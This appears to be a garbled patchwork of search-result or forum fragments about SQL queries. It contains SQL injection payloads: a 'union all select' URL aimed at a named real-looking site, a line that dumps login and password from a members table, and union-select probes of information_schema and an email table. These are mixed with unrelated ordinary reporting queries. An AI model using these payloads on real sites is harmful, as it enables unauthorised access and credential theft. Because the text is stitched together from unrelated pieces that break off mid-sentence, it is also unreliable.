http://www.harbor.ru/catalogue/cat.php?id=3'+union+all+select+1,(select+concat(0x3d7e3d,ifnull(userid
(M): SELECT CONCAT(login, password) FROM members. 7. Строки без кавычек Есть несколько
#pseudosql SELECT a AS current_a, COUNT(*) AS b, COUNT( SELECT FROM t WHERE a = current_a AND c = 'const' ) as d, from t group by a order by b desc.
Since a NULL concatenated with a string yields a NULL, we can attempt to build our sub-string and replace a NULL with an empty string, which is then concatenated to the next part of the name. This assumes that FirstName and Surname are always NOT NULL, but you could apply the same logic to...
Union select null, null, null, null, null, null, null from information_schema.tables. for a small database containing three tables. this instruction is used in sql injection I tried it and it worked but I didn't really know how it works can somebody help me...
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UNION ALL SELECT NULL, *, NULL, NULL FROM email. I understand what this does and why; the hacker needs to create a query that has the same number of columns as the query it's being merged with, and shifted
Thank you. SELECT COUNT(*)(SELECT DISTINCT a.my_id, a.last_name, a.first_name, b.temp_val. FROM Table_A a INNER JOIN Table_B b on a.a_id = b.a_id).
SELECT 'Expired Item -'+ DateName(mm,DATEADD(MM,4,AE.fld_LOAN)) as [Month] ,COUNT(PIT.fld_ID)'COUNT' ,SUM (PIT.fld_GRAM)'GRAMS' ,SUM (PH.fld_AMNT)'PRINCIPAL' FROM #AllExpired AE INNER JOIN Transactions.tbl_ITEM PIT ON AE.fld_MAINID=PIT.fld_MAINID INNER...